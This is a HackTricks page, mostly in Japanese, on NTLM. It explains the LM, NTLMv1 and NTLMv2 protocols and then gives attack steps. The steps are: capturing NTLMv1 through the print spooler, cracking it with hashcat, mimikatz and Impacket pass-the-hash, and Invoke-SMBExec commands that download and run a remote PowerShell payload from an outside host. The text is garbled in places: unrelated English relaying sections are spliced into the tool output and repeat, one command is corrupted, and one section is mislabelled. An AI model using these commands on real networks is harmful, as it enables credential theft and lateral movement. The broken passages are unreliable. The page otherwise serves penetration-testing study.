hacktricks/windows-hardening/ntlm
2024-04-06 18:36:04 +00:00
..
atexec.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
places-to-steal-ntlm-creds.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
psexec-and-winexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
README.md GitBook: No commit message 2024-04-06 18:36:04 +00:00
smbexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
winrm.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
wmicexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00

NTLM

NTLM

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

基本情報

Windows XPとServer 2003が稼働している環境では、LMLan Managerハッシュが使用されますが、これらは簡単に破られる可能性があることが広く認識されています。特定のLMハッシュ、AAD3B435B51404EEAAD3B435B51404EEは、LMが使用されていない状況を示し、空の文字列のハッシュを表します。

デフォルトでは、Kerberos認証プロトコルが主要な方法として使用されます。NTLMNT LAN Managerは、Active Directoryの不在、ドメインの非存在、Kerberosの不適切な構成による機能不全、または有効なホスト名の代わりにIPアドレスを使用して接続を試みる場合など、特定の状況下で使用されます。

ネットワークパケットに**"NTLMSSP"**ヘッダーが存在すると、NTLM認証プロセスがシグナルされます。

認証プロトコルLM、NTLMv1、NTLMv2のサポートは、%windir%\Windows\System32\msv1\_0.dllという特定のDLLによって可能になります。

要点:

  • LMハッシュは脆弱であり、空のLMハッシュAAD3B435B51404EEAAD3B435B51404EE)はその非使用を示します。
  • Kerberosがデフォルトの認証方法であり、NTLMは特定の条件下でのみ使用されます。
  • NTLM認証パケットは"NTLMSSP"ヘッダーによって識別されます。
  • システムファイルmsv1\_0.dllによって、LM、NTLMv1、およびNTLMv2プロトコルがサポートされています。

LM、NTLMv1およびNTLMv2

使用されるプロトコルを確認および設定できます:

GUI

_secpol.msc_を実行 -> ローカルポリシー -> セキュリティオプション -> ネットワークセキュリティ: LAN Manager認証レベル。 レベルは6つあります0から5

レジストリ

これにより、レベル5が設定されます:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可能な値:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本的なNTLMドメイン認証スキーム

  1. ユーザー資格情報を入力します
  2. クライアントマシンが認証リクエストを送信し、ドメイン名ユーザー名を送信します
  3. サーバーチャレンジを送信します
  4. クライアントパスワードのハッシュを使用してチャレンジを暗号化し、応答として送信します
  5. サーバードメインコントローラードメイン名、ユーザー名、チャレンジ、応答を送信します。Active Directoryが構成されていない場合や、ドメイン名がサーバー名の場合、資格情報はローカルで確認されます。
  6. ドメインコントローラーがすべてが正しいかどうかを確認し、情報をサーバーに送信します

サーバードメインコントローラーは、NTDS.DITデータベース内にサーバーのパスワードがあるため、Netlogonサーバーを介してセキュアチャネルを作成できます。

ローカルNTLM認証スキーム

認証は前述のように行われますが、サーバーSAMファイル内で認証しようとするユーザーのハッシュを知っています。したがって、ドメインコントローラーに問い合わせる代わりに、サーバー自体がユーザーの認証を確認します。

NTLMv1チャレンジ

チャレンジの長さは8バイトで、応答は24バイトです。

NTハッシュ16バイトは7バイトずつ3つの部分に分かれます7B + 7B +2B + 0x00*5最後の部分はゼロで埋められます。その後、各部分ごとにチャレンジ別々に暗号化し、結果の暗号化されたバイトを結合します。合計8B + 8B + 8B = 24バイト。

問題点

  • ランダム性の欠如
  • 3つの部分は個別に攻撃され、NTハッシュが見つかる可能性があります
  • DESは破られやすい
  • 3番目のキーは常に5つのゼロで構成されています。
  • 同じチャレンジが与えられると、応答同じになります。したがって、被害者に対して文字列「1122334455667788」をチャレンジとして与え、事前計算されたレインボーテーブルを使用して使用された応答を攻撃できます。

NTLMv1攻撃

最近では、Unconstrained Delegationが構成された環境を見つけることが少なくなっていますが、これは悪用できないことを意味しません。構成されたプリントスプーラーサービスを悪用することができます。

ADで既に持っている一部の資格情報/セッションを使用して、プリンターに対してあるコントロール下のホストに対して認証を要求することができます。その後、metasploit auxiliary/server/capture/smbまたはresponderを使用して、認証チャレンジを1122334455667788に設定し、認証試行をキャプチャし、それがNTLMv1を使用して行われた場合、破ることができます。
responderを使用している場合は、--lmフラグを使用して認証をダウングレードしようとすることができます。
このテクニックでは、認証はNTLMv1を使用して実行する必要がありますNTLMv2は有効ではありません

プリンターは認証中にコンピューターアカウントを使用し、コンピューターアカウントは長くランダムなパスワードを使用していますが、一般的な辞書を使用して破ることはできない可能性があります。しかし、NTLMv1認証はDESを使用しています(詳細はこちら、そのため、DESを破るために特に専用のサービスを使用することで、それを破ることができますたとえば、https://crack.sh/を使用できます)。

hashcatを使用したNTLMv1攻撃

NTLMv1はNTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi を使用して、hashcatで破ることができる形式でNTLMv1メッセージをフォーマットします。

コマンド

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relaying

Overview

NTLM relaying is a technique used to relay authentication attempts from one system to another in order to gain unauthorized access. This is typically achieved by intercepting NTLM authentication traffic and forwarding it to another system where the attacker can authenticate using the captured credentials.

Usage

  1. Install Impacket:

    pip install impacket
    
  2. Run NTLM Relay:

    ntlmrelayx.py -t <target_ip>
    
  3. Relay to SMB:

    ntlmrelayx.py -t <target_ip> -smb2support
    

Mitigation

To mitigate NTLM relaying attacks, consider implementing the following measures:

  • Disable NTLM authentication in favor of more secure protocols like Kerberos.
  • Enable SMB signing to prevent relay attacks on SMB traffic.
  • Implement network segmentation to limit the reach of potential relay attacks.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Relaying Attack

Description

NTLM relaying is a common technique used by attackers to escalate privileges in a Windows environment. This attack involves intercepting NTLM authentication traffic and relaying it to other systems to gain unauthorized access.

How it works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.
  2. The attacker relays the captured authentication to another system within the network.
  3. The target system receives the authentication request, thinking it is coming from the original client.
  4. If successful, the attacker gains unauthorized access to the target system using the relayed credentials.

Mitigation

To prevent NTLM relaying attacks, consider implementing the following measures:

  • Disable NTLM authentication where possible and use more secure protocols like Kerberos.
  • Enable SMB signing to protect against tampering with authentication traffic.
  • Implement Extended Protection for Authentication to prevent relaying attacks.
  • Use Group Policy to restrict NTLM usage and enforce stronger authentication mechanisms.

By following these best practices, you can significantly reduce the risk of NTLM relaying attacks in your Windows environment.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

Translation

ラン hashcathashtopolis などのツールを介して分散させるのが最適)を実行してください。そうしないと数日かかります。
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

この場合、パスワードは「password」であることがわかっているため、デモ目的で不正行為を行います。

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

次に、hashcatユーティリティを使用して、クラックされたDESキーをNTLMハッシュの一部に変換する必要があります

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

最後の部分:

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM Relaying

Overview

NTLM relaying is a common technique used by attackers to move laterally within a network by leveraging the NTLM authentication protocol. This technique involves intercepting an NTLM authentication request from a victim host and relaying it to another host within the network to authenticate and gain access.

How it works

  1. Attacker intercepts an NTLM authentication request from a victim host.
  2. Attacker relays the authentication request to another host within the network.
  3. The second host automatically responds to the authentication request, providing the attacker with access.

Impact

NTLM relaying can allow an attacker to gain unauthorized access to sensitive systems and resources within a network. It can also be used to escalate privileges and move laterally to other hosts, increasing the scope of the attack.

Mitigation

To mitigate NTLM relaying attacks, it is recommended to:

  • Implement SMB signing to prevent interception of authentication requests.
  • Use LDAP signing and channel binding to protect LDAP communications.
  • Disable NTLM authentication in favor of more secure protocols like Kerberos.
  • Implement network segmentation to limit lateral movement within the network.
NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 チャレンジ

チャレンジの長さは8バイトであり、2つのレスポンスが送信されます: 1つは24バイトで、もう1つの長さは可変です。

最初のレスポンスは、クライアントとドメインから構成される文字列を使用してHMAC_MD5を使って暗号化し、NTハッシュMD4ハッシュキーとして使用します。その後、結果チャレンジを暗号化するためのキーとして使用されます。ここに8バイトのクライアントチャレンジが追加されます。合計: 24 B。

2番目のレスポンスは、複数の値(新しいクライアントチャレンジ、リプレイ攻撃を避けるためのタイムスタンプなど)を使用して作成されます。

成功した認証プロセスをキャプチャしたpcapファイルがある場合、このガイドに従ってドメイン、ユーザー名、チャレンジ、レスポンスを取得し、パスワードを解読してみることができます: https://research.801labs.org/cracking-an-ntlmv2-hash/

パス・ザ・ハッシュ

被害者のハッシュを取得したら、それを偽装することができます。
そのハッシュを使用してNTLM認証を行うツールを使用する必要があります。または、新しいセッションログオンを作成し、そのハッシュLSASSインジェクトすることができます。そのため、NTLM認証が実行されると、そのハッシュが使用されます。 最後のオプションがmimikatzが行うことです。

パス・ザ・ハッシュ攻撃はコンピューターアカウントを使用しても実行できることを覚えておいてください。

Mimikatz

管理者として実行する必要があります

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

これにより、mimikatzを起動したユーザーに属するプロセスが開始されますが、LSASS内部では、保存された資格情報はmimikatzパラメーター内にあります。その後、そのユーザーであるかのようにネットワークリソースにアクセスできますrunas /netonlyトリックに類似していますが、平文パスワードを知る必要はありません)。

LinuxからのPass-the-Hash

LinuxからPass-the-Hashを使用してWindowsマシンでコード実行を取得できます。
こちらをクリックして方法を学んでください。

Impacket Windowsコンパイル済みツール

Windows用のimpacketバイナリをこちらからダウンロードできます

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exeこの場合、コマンドを指定する必要があります。cmd.exeとpowershell.exeは対話シェルを取得するために有効ではありませんC:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • 他にもいくつかのImpacketバイナリがあります...

Invoke-TheHash

こちらからpowershellスクリプトを入手できますhttps://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invoke-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClient

Invoke-SMBClientを使用すると、NTLMハッシュを取得するためにSMB経由でリモートマシンに接続できます。このツールは、リモートマシンに対して認証情報を提供することなく、NTLMハッシュを取得するために使用されます。

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Invoke-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

この機能は他のすべての機能を組み合わせたものです。複数のホストを渡すことができ、除外することもでき、使用したいオプションを選択できます(SMBExec、WMIExec、SMBClient、SMBEnum)。SMBExecWMIExecのいずれかを選択した場合、しかし_Command_パラメータを指定しない場合、単に十分な権限があるかどうかをチェックします。

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM パス・ザ・ハッシュ

Windows Credentials Editor (WCE)

管理者として実行する必要があります

このツールは、mimikatzと同じことを行いますLSASSメモリの変更

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

ユーザー名とパスワードを使用した手動のWindowsリモート実行

{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}

Windowsホストからの資格情報の抽出

Windowsホストから資格情報を取得する方法についての詳細は、このページを参照してください。

NTLMリレーとレスポンダー

これらの攻撃を実行する方法の詳細なガイドについては、こちらを読んでください。

ネットワークキャプチャからNTLMチャレンジを解析する

https://github.com/mlgualtieri/NTLMRawUnHideを使用できます

htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ htARTEHackTricks AWS Red Team Expert